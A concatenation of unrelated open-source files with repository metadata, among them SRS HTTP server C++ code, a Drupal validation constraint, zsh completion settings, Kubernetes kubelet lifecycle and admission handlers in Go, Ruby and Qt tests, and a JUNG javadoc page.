SrsResponseOnlyHttpConn::SrsResponseOnlyHttpConn(IConnectionManager* cm, st_netfd_t fd, ISrsHttpServeMux* m)
: SrsHttpConn(cm, fd, m)
{
}
SrsResponseOnlyHttpConn::~SrsResponseOnlyHttpConn()
{
}
int SrsResponseOnlyHttpConn::on_got_http_message(ISrsHttpMessage* msg)
{
int ret = ERROR_SUCCESS;
ISrsHttpResponseReader* br = msg->body_reader();
// drop all request body.
while (!br->eof()) {
char body[4096];
if ((ret = br->read(body, 4096, NULL)) != ERROR_SUCCESS) {
return ret;
}
}
return ret;
}
SrsHttpServer::SrsHttpServer(SrsServer* svr)
{
server = svr;
http_stream = new SrsHttpStreamServer(svr);
http_static = new SrsHttpStaticServer(svr);
}
SrsHttpServer::~SrsHttpServer()
{
srs_freep(http_stream);
srs_freep(http_static);
}
int SrsHttpServer::initialize()
{
int ret = ERROR_SUCCESS;
#if defined(SRS_AUTO_HTTP_SERVER) && defined(SRS_AUTO_HTTP_API)
// for SRS go-sharp to detect the status of HTTP server of SRS HTTP FLV Cluster.
if ((ret = http_static->mux.handle("/api/v1/versions", new SrsGoApiVersion())) != ERROR_SUCCESS) {
return ret;
}
#endif
if ((ret = http_stream->initialize()) != ERROR_SUCCESS) {
return ret;
}
if ((ret = http_static->initialize()) != ERROR_SUCCESS) {
return ret;
}
return ret;
}
int SrsHttpServer::serve_http(ISrsHttpResponseWriter* w, ISrsHttpMessage* r)
{
// try http stream first.
if (http_stream->mux.can_serve(r)) {
return http_stream->mux.serve_http(w, r);
}
return http_static->mux.serve_http(w, r);
}
int SrsHttpServer::http_mount(SrsSource* s, SrsRequest* r)
{
return http_stream->http_mount(s, r);
}
void SrsHttpServer::http_unmount(SrsSource* s, SrsRequest* r)
{
http_stream->http_unmount(s, r);
}
int SrsHttpServer::mount_hls(SrsRequest* r)
{
return http_stream->mount_hls(r);
}
int SrsHttpServer::hls_update_m3u8(SrsRequest* r, std::string m3u8)
{
return http_stream->hls_update_m3u8(r, m3u8);
}
int SrsHttpServer::hls_update_ts(SrsRequest* r, std::string uri, std::string ts)
{
return http_stream->hls_update_ts(r, uri, ts);
}
int SrsHttpServer::hls_remove_ts(SrsRequest* r, std::string uri)
{
return http_stream->hls_remove_ts(r, uri);
}
void SrsHttpServer::unmount_hls(SrsRequest* r)
{
http_stream->unmount_hls(r);
}
#endif
| {'content_hash': '3f29c672a4cfca6217a200173361dbbb', 'timestamp': '', 'source': 'github', 'line_count': 1407, 'max_line_length': 117, 'avg_line_length': 24.26226012793177, 'alnum_prop': 0.5610920701877729, 'repo_name': 'wangcy6/storm_app', 'id': '5f1096f8e9c3bed5f39751201e93be20ab6b9a7d', 'size': '35224', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'frame/c++/srs-2.0release/trunk/src/app/srs_app_http_conn.cpp', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'ActionScript', 'bytes': '86225'}, {'name': 'Assembly', 'bytes': '4834'}, {'name': 'Batchfile', 'bytes': '50141'}, {'name': 'C', 'bytes': '9700081'}, {'name': 'C#', 'bytes': '1587148'}, {'name': 'C++', 'bytes': '14378340'}, {'name': 'CMake', 'bytes': '756439'}, {'name': 'CSS', 'bytes': '59712'}, {'name': 'Clojure', 'bytes': '535480'}, {'name': 'DTrace', 'bytes': '147'}, {'name': 'Fancy', 'bytes': '6234'}, {'name': 'FreeMarker', 'bytes': '3512'}, {'name': 'Go', 'bytes': '27069'}, {'name': 'Groovy', 'bytes': '1755'}, {'name': 'HTML', 'bytes': '1235479'}, {'name': 'Java', 'bytes': '41653938'}, {'name': 'JavaScript', 'bytes': '260093'}, {'name': 'Lua', 'bytes': '11887'}, {'name': 'M4', 'bytes': '96283'}, {'name': 'Makefile', 'bytes': '977879'}, {'name': 'NSIS', 'bytes': '6522'}, {'name': 'Objective-C', 'bytes': '324010'}, {'name': 'PHP', 'bytes': '348909'}, {'name': 'Perl', 'bytes': '182487'}, {'name': 'PowerShell', 'bytes': '19465'}, {'name': 'Prolog', 'bytes': '243'}, {'name': 'Python', 'bytes': '3649738'}, {'name': 'QML', 'bytes': '9975'}, {'name': 'QMake', 'bytes': '63106'}, {'name': 'Roff', 'bytes': '12319'}, {'name': 'Ruby', 'bytes': '858066'}, {'name': 'Scala', 'bytes': '5203874'}, {'name': 'Shell', 'bytes': '714435'}, {'name': 'Smarty', 'bytes': '1047'}, {'name': 'Swift', 'bytes': '3486'}, {'name': 'Tcl', 'bytes': '492616'}, {'name': 'Thrift', 'bytes': '31449'}, {'name': 'XS', 'bytes': '20183'}, {'name': 'XSLT', 'bytes': '8784'}]} |
<?php
/**
* @file
* Contains \Drupal\user\Plugin\Validation\Constraint\UserNameUnique.
*/
namespace Drupal\user\Plugin\Validation\Constraint;
use Symfony\Component\Validator\Constraint;
/**
* Checks if a user name is unique on the site.
*
* @Constraint(
* id = "UserNameUnique",
* label = @Translation("User name unique", context = "Validation"),
* )
*/
class UserNameUnique extends Constraint {
public $message = 'The username %value is already taken.';
/**
* {@inheritdoc}
*/
public function validatedBy() {
return '\Drupal\Core\Validation\Plugin\Validation\Constraint\UniqueFieldValueValidator';
}
}
| {'content_hash': 'd532f1332d2207e366c484dd0e603679', 'timestamp': '', 'source': 'github', 'line_count': 30, 'max_line_length': 92, 'avg_line_length': 21.366666666666667, 'alnum_prop': 0.6957878315132605, 'repo_name': 'kaperkin/drupal_8_shelby_site', 'id': '286d340c0c088f90f881a5b0f907c589281d7ddd', 'size': '641', 'binary': False, 'copies': '29', 'ref': 'refs/heads/master', 'path': 'core/modules/user/src/Plugin/Validation/Constraint/UserNameUnique.php', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ApacheConf', 'bytes': '673'}, {'name': 'C++', 'bytes': '13011'}, {'name': 'CSS', 'bytes': '292661'}, {'name': 'HTML', 'bytes': '319322'}, {'name': 'JavaScript', 'bytes': '812156'}, {'name': 'PHP', 'bytes': '26645010'}, {'name': 'Shell', 'bytes': '41324'}]} |
zstyle ':completion:*' matcher-list 'm:{a-z}={A-Z}'
# pasting with tabs doesn't perform completion
zstyle ':completion:*' insert-tab pending
# default to file completion
zstyle ':completion:*' completer _expand _complete _files _correct _approximate
# ls colors
zstyle ':completion:*:default' list-colors ${(s.:.)LS_COLORS}
| {'content_hash': '2f60ec471ccbc1237928dfb448de1351', 'timestamp': '', 'source': 'github', 'line_count': 10, 'max_line_length': 79, 'avg_line_length': 32.7, 'alnum_prop': 0.7247706422018348, 'repo_name': 'paulhirschi/dotfiles', 'id': 'c08a243124a26f0a9bb88d3ed7a8f26aaf6d995c', 'size': '368', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'zsh/completion.zsh', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'AppleScript', 'bytes': '2557'}, {'name': 'Shell', 'bytes': '40541'}, {'name': 'Vim script', 'bytes': '83757'}]} |
using namespace SEGSEvents;
extern void register_FriendshipServiceEvents();
namespace
{
const char *event_names[] =
{
"FriendConnectedMessage",
"SendFriendListMessage",
"SendNotifyFriendMessage",
"FriendAddedMessage",
"FriendRemovedMessage",
};
}
class FriendshipEventRegistry : public QObject
{
Q_OBJECT
private slots:
void creationByName()
{
for(const char *ev_name : event_names)
{
QVERIFY2(create_by_name(ev_name)==nullptr,"no types registered yet, create_by_name result should be null");
}
// TODO: call register_all_events();
register_FriendshipServiceEvents();
for(const char *ev_name : event_names)
{
QVERIFY2(create_by_name(ev_name) != nullptr,
qPrintable(QString("all types registered, create_by_name(%1) result should be non-null").arg(ev_name)));
}
}
};
QTEST_MAIN(FriendshipEventRegistry)
#include "FriendshipEventRegistry.moc"
| {'content_hash': '55510994018835d6137c5b7f88f690f6', 'timestamp': '', 'source': 'github', 'line_count': 37, 'max_line_length': 125, 'avg_line_length': 27.594594594594593, 'alnum_prop': 0.6327130264446621, 'repo_name': 'Segs/Segs', 'id': 'cb7fb4a21cc5ddd40dbfac908b8925839871bc16', 'size': '1070', 'binary': False, 'copies': '3', 'ref': 'refs/heads/develop', 'path': 'Servers/GameServer/FriendshipService/UnitTests/FriendshipEventRegistry.cpp', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'C', 'bytes': '14052'}, {'name': 'C#', 'bytes': '5777'}, {'name': 'C++', 'bytes': '2597767'}, {'name': 'CMake', 'bytes': '90611'}, {'name': 'CSS', 'bytes': '9046'}, {'name': 'Dockerfile', 'bytes': '159'}, {'name': 'GLSL', 'bytes': '9402'}, {'name': 'Java', 'bytes': '10189'}, {'name': 'Lua', 'bytes': '565226'}, {'name': 'NSIS', 'bytes': '3505'}, {'name': 'PHP', 'bytes': '3660'}, {'name': 'Ruby', 'bytes': '6654'}, {'name': 'Shell', 'bytes': '4498'}]} |
@class DVSlideViewController;
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@property (strong, nonatomic) DVSlideViewController *viewController;
@end
| {'content_hash': 'da256218503a3138dfc74336ab869fed', 'timestamp': '', 'source': 'github', 'line_count': 9, 'max_line_length': 68, 'avg_line_length': 24.11111111111111, 'alnum_prop': 0.8110599078341014, 'repo_name': 'dickverbunt/DVSlideViewController', 'id': '0dbbfa4a8fe0378a77819684dc726b5500fdbac3', 'size': '398', 'binary': False, 'copies': '2', 'ref': 'refs/heads/master', 'path': 'DVSlideViewController/AppDelegate.h', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'Objective-C', 'bytes': '13207'}]} |
package lifecycle
import (
"fmt"
"net"
"net/http"
"strconv"
"k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/types"
"k8s.io/apimachinery/pkg/util/intstr"
"k8s.io/klog"
kubecontainer "k8s.io/kubernetes/pkg/kubelet/container"
kubetypes "k8s.io/kubernetes/pkg/kubelet/types"
"k8s.io/kubernetes/pkg/kubelet/util/format"
"k8s.io/kubernetes/pkg/security/apparmor"
utilio "k8s.io/utils/io"
)
const (
maxRespBodyLength = 10 * 1 << 10 // 10KB
)
type HandlerRunner struct {
httpGetter kubetypes.HttpGetter
commandRunner kubecontainer.ContainerCommandRunner
containerManager podStatusProvider
}
type podStatusProvider interface {
GetPodStatus(uid types.UID, name, namespace string) (*kubecontainer.PodStatus, error)
}
func NewHandlerRunner(httpGetter kubetypes.HttpGetter, commandRunner kubecontainer.ContainerCommandRunner, containerManager podStatusProvider) kubecontainer.HandlerRunner {
return &HandlerRunner{
httpGetter: httpGetter,
commandRunner: commandRunner,
containerManager: containerManager,
}
}
func (hr *HandlerRunner) Run(containerID kubecontainer.ContainerID, pod *v1.Pod, container *v1.Container, handler *v1.Handler) (string, error) {
switch {
case handler.Exec != nil:
var msg string
// TODO(tallclair): Pass a proper timeout value.
output, err := hr.commandRunner.RunInContainer(containerID, handler.Exec.Command, 0)
if err != nil {
msg = fmt.Sprintf("Exec lifecycle hook (%v) for Container %q in Pod %q failed - error: %v, message: %q", handler.Exec.Command, container.Name, format.Pod(pod), err, string(output))
klog.V(1).Infof(msg)
}
return msg, err
case handler.HTTPGet != nil:
msg, err := hr.runHTTPHandler(pod, container, handler)
if err != nil {
msg = fmt.Sprintf("Http lifecycle hook (%s) for Container %q in Pod %q failed - error: %v, message: %q", handler.HTTPGet.Path, container.Name, format.Pod(pod), err, msg)
klog.V(1).Infof(msg)
}
return msg, err
default:
err := fmt.Errorf("Invalid handler: %v", handler)
msg := fmt.Sprintf("Cannot run handler: %v", err)
klog.Errorf(msg)
return msg, err
}
}
// resolvePort attempts to turn an IntOrString port reference into a concrete port number.
// If portReference has an int value, it is treated as a literal, and simply returns that value.
// If portReference is a string, an attempt is first made to parse it as an integer. If that fails,
// an attempt is made to find a port with the same name in the container spec.
// If a port with the same name is found, it's ContainerPort value is returned. If no matching
// port is found, an error is returned.
func resolvePort(portReference intstr.IntOrString, container *v1.Container) (int, error) {
if portReference.Type == intstr.Int {
return portReference.IntValue(), nil
}
portName := portReference.StrVal
port, err := strconv.Atoi(portName)
if err == nil {
return port, nil
}
for _, portSpec := range container.Ports {
if portSpec.Name == portName {
return int(portSpec.ContainerPort), nil
}
}
return -1, fmt.Errorf("couldn't find port: %v in %v", portReference, container)
}
func (hr *HandlerRunner) runHTTPHandler(pod *v1.Pod, container *v1.Container, handler *v1.Handler) (string, error) {
host := handler.HTTPGet.Host
if len(host) == 0 {
status, err := hr.containerManager.GetPodStatus(pod.UID, pod.Name, pod.Namespace)
if err != nil {
klog.Errorf("Unable to get pod info, event handlers may be invalid.")
return "", err
}
if len(status.IPs) == 0 {
return "", fmt.Errorf("failed to find networking container: %v", status)
}
host = status.IPs[0]
}
var port int
if handler.HTTPGet.Port.Type == intstr.String && len(handler.HTTPGet.Port.StrVal) == 0 {
port = 80
} else {
var err error
port, err = resolvePort(handler.HTTPGet.Port, container)
if err != nil {
return "", err
}
}
url := fmt.Sprintf("http://%s/%s", net.JoinHostPort(host, strconv.Itoa(port)), handler.HTTPGet.Path)
resp, err := hr.httpGetter.Get(url)
return getHttpRespBody(resp), err
}
func getHttpRespBody(resp *http.Response) string {
if resp == nil {
return ""
}
defer resp.Body.Close()
bytes, err := utilio.ReadAtMost(resp.Body, maxRespBodyLength)
if err == nil || err == utilio.ErrLimitReached {
return string(bytes)
}
return ""
}
func NewAppArmorAdmitHandler(validator apparmor.Validator) PodAdmitHandler {
return &appArmorAdmitHandler{
Validator: validator,
}
}
type appArmorAdmitHandler struct {
apparmor.Validator
}
func (a *appArmorAdmitHandler) Admit(attrs *PodAdmitAttributes) PodAdmitResult {
// If the pod is already running or terminated, no need to recheck AppArmor.
if attrs.Pod.Status.Phase != v1.PodPending {
return PodAdmitResult{Admit: true}
}
err := a.Validate(attrs.Pod)
if err == nil {
return PodAdmitResult{Admit: true}
}
return PodAdmitResult{
Admit: false,
Reason: "AppArmor",
Message: fmt.Sprintf("Cannot enforce AppArmor: %v", err),
}
}
func NewNoNewPrivsAdmitHandler(runtime kubecontainer.Runtime) PodAdmitHandler {
return &noNewPrivsAdmitHandler{
Runtime: runtime,
}
}
type noNewPrivsAdmitHandler struct {
kubecontainer.Runtime
}
func (a *noNewPrivsAdmitHandler) Admit(attrs *PodAdmitAttributes) PodAdmitResult {
// If the pod is already running or terminated, no need to recheck NoNewPrivs.
if attrs.Pod.Status.Phase != v1.PodPending {
return PodAdmitResult{Admit: true}
}
// If the containers in a pod do not require no-new-privs, admit it.
if !noNewPrivsRequired(attrs.Pod) {
return PodAdmitResult{Admit: true}
}
// Always admit runtimes except docker.
if a.Runtime.Type() != kubetypes.DockerContainerRuntime {
return PodAdmitResult{Admit: true}
}
// Make sure docker api version is valid.
rversion, err := a.Runtime.APIVersion()
if err != nil {
return PodAdmitResult{
Admit: false,
Reason: "NoNewPrivs",
Message: fmt.Sprintf("Cannot enforce NoNewPrivs: %v", err),
}
}
v, err := rversion.Compare("1.23.0")
if err != nil {
return PodAdmitResult{
Admit: false,
Reason: "NoNewPrivs",
Message: fmt.Sprintf("Cannot enforce NoNewPrivs: %v", err),
}
}
// If the version is less than 1.23 it will return -1 above.
if v == -1 {
return PodAdmitResult{
Admit: false,
Reason: "NoNewPrivs",
Message: fmt.Sprintf("Cannot enforce NoNewPrivs: docker runtime API version %q must be greater than or equal to 1.23", rversion.String()),
}
}
return PodAdmitResult{Admit: true}
}
func noNewPrivsRequired(pod *v1.Pod) bool {
// Iterate over pod containers and check if we added no-new-privs.
for _, c := range pod.Spec.Containers {
if c.SecurityContext != nil && c.SecurityContext.AllowPrivilegeEscalation != nil && !*c.SecurityContext.AllowPrivilegeEscalation {
return true
}
}
return false
}
func NewProcMountAdmitHandler(runtime kubecontainer.Runtime) PodAdmitHandler {
return &procMountAdmitHandler{
Runtime: runtime,
}
}
type procMountAdmitHandler struct {
kubecontainer.Runtime
}
func (a *procMountAdmitHandler) Admit(attrs *PodAdmitAttributes) PodAdmitResult {
// If the pod is already running or terminated, no need to recheck NoNewPrivs.
if attrs.Pod.Status.Phase != v1.PodPending {
return PodAdmitResult{Admit: true}
}
// If the containers in a pod only need the default ProcMountType, admit it.
if procMountIsDefault(attrs.Pod) {
return PodAdmitResult{Admit: true}
}
// Always admit runtimes except docker.
if a.Runtime.Type() != kubetypes.DockerContainerRuntime {
return PodAdmitResult{Admit: true}
}
// Make sure docker api version is valid.
// Merged in https://github.com/moby/moby/pull/36644
rversion, err := a.Runtime.APIVersion()
if err != nil {
return PodAdmitResult{
Admit: false,
Reason: "ProcMount",
Message: fmt.Sprintf("Cannot enforce ProcMount: %v", err),
}
}
v, err := rversion.Compare("1.38.0")
if err != nil {
return PodAdmitResult{
Admit: false,
Reason: "ProcMount",
Message: fmt.Sprintf("Cannot enforce ProcMount: %v", err),
}
}
// If the version is less than 1.38 it will return -1 above.
if v == -1 {
return PodAdmitResult{
Admit: false,
Reason: "ProcMount",
Message: fmt.Sprintf("Cannot enforce ProcMount: docker runtime API version %q must be greater than or equal to 1.38", rversion.String()),
}
}
return PodAdmitResult{Admit: true}
}
func procMountIsDefault(pod *v1.Pod) bool {
// Iterate over pod containers and check if we are using the DefaultProcMountType
// for all containers.
for _, c := range pod.Spec.Containers {
if c.SecurityContext != nil {
if c.SecurityContext.ProcMount != nil && *c.SecurityContext.ProcMount != v1.DefaultProcMount {
return false
}
}
}
return true
}
| {'content_hash': 'ad753220939e70346f0e752215cfd7e7', 'timestamp': '', 'source': 'github', 'line_count': 293, 'max_line_length': 183, 'avg_line_length': 29.757679180887372, 'alnum_prop': 0.7153343273311159, 'repo_name': 'quinton-hoole/kubernetes', 'id': 'c84f7d9ad574b77fec952c8af61d031950b2ab8b', 'size': '9288', 'binary': False, 'copies': '4', 'ref': 'refs/heads/master', 'path': 'pkg/kubelet/lifecycle/handlers.go', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'C', 'bytes': '2840'}, {'name': 'Dockerfile', 'bytes': '52078'}, {'name': 'Go', 'bytes': '48505969'}, {'name': 'HTML', 'bytes': '38'}, {'name': 'Lua', 'bytes': '17200'}, {'name': 'Makefile', 'bytes': '66684'}, {'name': 'PowerShell', 'bytes': '100022'}, {'name': 'Python', 'bytes': '3290080'}, {'name': 'Ruby', 'bytes': '431'}, {'name': 'Shell', 'bytes': '1555091'}, {'name': 'sed', 'bytes': '12331'}]} |
require "stylesheet_flipper/view_helpers"
module StylesheetFlipper
class Railtie < Rails::Railtie
initializer "stylesheet_flipper.view_helpers" do
ActionView::Base.send :include, StylesheetFlipper::ViewHelpers
end
initializer "stylesheet_flipper.initialize_rails", :group => :all do |app|
app.assets.register_bundle_processor 'text/css', :stylesheet_flipper do |context, data|
if context.logical_path.include?('-flipped')
R2.r2 data
else
data
end
end
end
end
end
| {'content_hash': 'fbca2a0a4a296f7f53b96f83a65f4ed1', 'timestamp': '', 'source': 'github', 'line_count': 18, 'max_line_length': 93, 'avg_line_length': 30.333333333333332, 'alnum_prop': 0.6758241758241759, 'repo_name': 'liisberg-consulting/stylesheet_flipper', 'id': '2388bdd300d9edc09a8a25e9eac9d540ec36e802', 'size': '546', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'lib/stylesheet_flipper/railtie.rb', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Ruby', 'bytes': '4137'}]} |
require 'test_helper'
class EncounterImporterTest < Minitest::Test
def setup
collection_fixtures('providers', '_id')
end
def test_encounter_importing
doc = Nokogiri::XML(File.new('test/fixtures/NISTExampleC32.xml'))
doc.root.add_namespace_definition('cda', 'urn:hl7-org:v3')
pi = HealthDataStandards::Import::C32::PatientImporter.instance
patient = pi.parse_c32(doc)
encounter = patient.encounters[0]
assert encounter.codes['CPT'].include? '99241'
assert_equal encounter.performer.title, "Dr."
assert_equal 'Kildare', encounter.performer.family_name
assert_equal encounter.facility.name, 'Good Health Clinic'
assert encounter.reason.codes['SNOMED-CT'].include? '308292007'
assert_equal encounter.admit_type['code'], 'xyzzy'
assert_equal encounter.admit_type['codeSystem'], 'CPT'
assert_equal 'HL7 Healthcare Service Location', encounter.facility.code['codeSystem']
assert_equal Time.gm(2000, 4, 7).to_i, encounter.facility.start_time
assert_equal '1117-1', encounter.facility.code['code']
end
end
| {'content_hash': '75bdc619a091d6dbc3a52bc95014f845', 'timestamp': '', 'source': 'github', 'line_count': 27, 'max_line_length': 89, 'avg_line_length': 39.81481481481482, 'alnum_prop': 0.7227906976744186, 'repo_name': 'thecristen/health-data-standards', 'id': '8d505db12b2f3d9fc20e56c11fc7436c9411d3bc', 'size': '1076', 'binary': False, 'copies': '5', 'ref': 'refs/heads/master', 'path': 'test/unit/import/c32/encounter_importer_test.rb', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'HTML', 'bytes': '309320'}, {'name': 'KiCad', 'bytes': '1227388'}, {'name': 'Ruby', 'bytes': '745736'}, {'name': 'XSLT', 'bytes': '364843'}]} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.5.0_13) on Sun Jan 24 12:52:49 EST 2010 -->
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<TITLE>
edu.uci.ics.jung.algorithms.matrix Class Hierarchy (jung2 2.0.1 API)
</TITLE>
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
parent.document.title="edu.uci.ics.jung.algorithms.matrix Class Hierarchy (jung2 2.0.1 API)";
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Use</FONT> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Tree</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../edu/uci/ics/jung/algorithms/layout/util/package-tree.html"><B>PREV</B></A>
<A HREF="../../../../../../edu/uci/ics/jung/algorithms/metrics/package-tree.html"><B>NEXT</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../index.html?edu/uci/ics/jung/algorithms/matrix/package-tree.html" target="_top"><B>FRAMES</B></A>
<A HREF="package-tree.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<CENTER>
<H2>
Hierarchy For Package edu.uci.ics.jung.algorithms.matrix
</H2>
</CENTER>
<DL>
<DT><B>Package Hierarchies:</B><DD><A HREF="../../../../../../overview-tree.html">All Packages</A></DL>
<HR>
<H2>
Class Hierarchy
</H2>
<UL>
<LI TYPE="circle">java.lang.<A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html" title="class or interface in java.lang"><B>Object</B></A><UL>
<LI TYPE="circle">edu.uci.ics.jung.algorithms.matrix.<A HREF="../../../../../../edu/uci/ics/jung/algorithms/matrix/GraphMatrixOperations.html" title="class in edu.uci.ics.jung.algorithms.matrix"><B>GraphMatrixOperations</B></A><LI TYPE="circle">edu.uci.ics.jung.algorithms.matrix.<A HREF="../../../../../../edu/uci/ics/jung/algorithms/matrix/RealMatrixElementOperations.html" title="class in edu.uci.ics.jung.algorithms.matrix"><B>RealMatrixElementOperations</B></A><E> (implements edu.uci.ics.jung.algorithms.matrix.<A HREF="../../../../../../edu/uci/ics/jung/algorithms/matrix/MatrixElementOperations.html" title="interface in edu.uci.ics.jung.algorithms.matrix">MatrixElementOperations</A><E>)
</UL>
</UL>
<H2>
Interface Hierarchy
</H2>
<UL>
<LI TYPE="circle">edu.uci.ics.jung.algorithms.matrix.<A HREF="../../../../../../edu/uci/ics/jung/algorithms/matrix/MatrixElementOperations.html" title="interface in edu.uci.ics.jung.algorithms.matrix"><B>MatrixElementOperations</B></A><E></UL>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Use</FONT> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Tree</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../edu/uci/ics/jung/algorithms/layout/util/package-tree.html"><B>PREV</B></A>
<A HREF="../../../../../../edu/uci/ics/jung/algorithms/metrics/package-tree.html"><B>NEXT</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../index.html?edu/uci/ics/jung/algorithms/matrix/package-tree.html" target="_top"><B>FRAMES</B></A>
<A HREF="package-tree.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
Copyright © 2010 null. All Rights Reserved.
</BODY>
</HTML>
| {'content_hash': '901a64bbd88bc154c2d371360a22a933', 'timestamp': '', 'source': 'github', 'line_count': 156, 'max_line_length': 708, 'avg_line_length': 46.69871794871795, 'alnum_prop': 0.6256691832532602, 'repo_name': 'tobyclemson/msci-project', 'id': 'd8ca4877aec259bffc8d00215bf4c921d164fa21', 'size': '7285', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'vendor/jung-2.0.1/doc/edu/uci/ics/jung/algorithms/matrix/package-tree.html', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Java', 'bytes': '89867'}, {'name': 'Ruby', 'bytes': '137019'}]} |
<!doctype html>
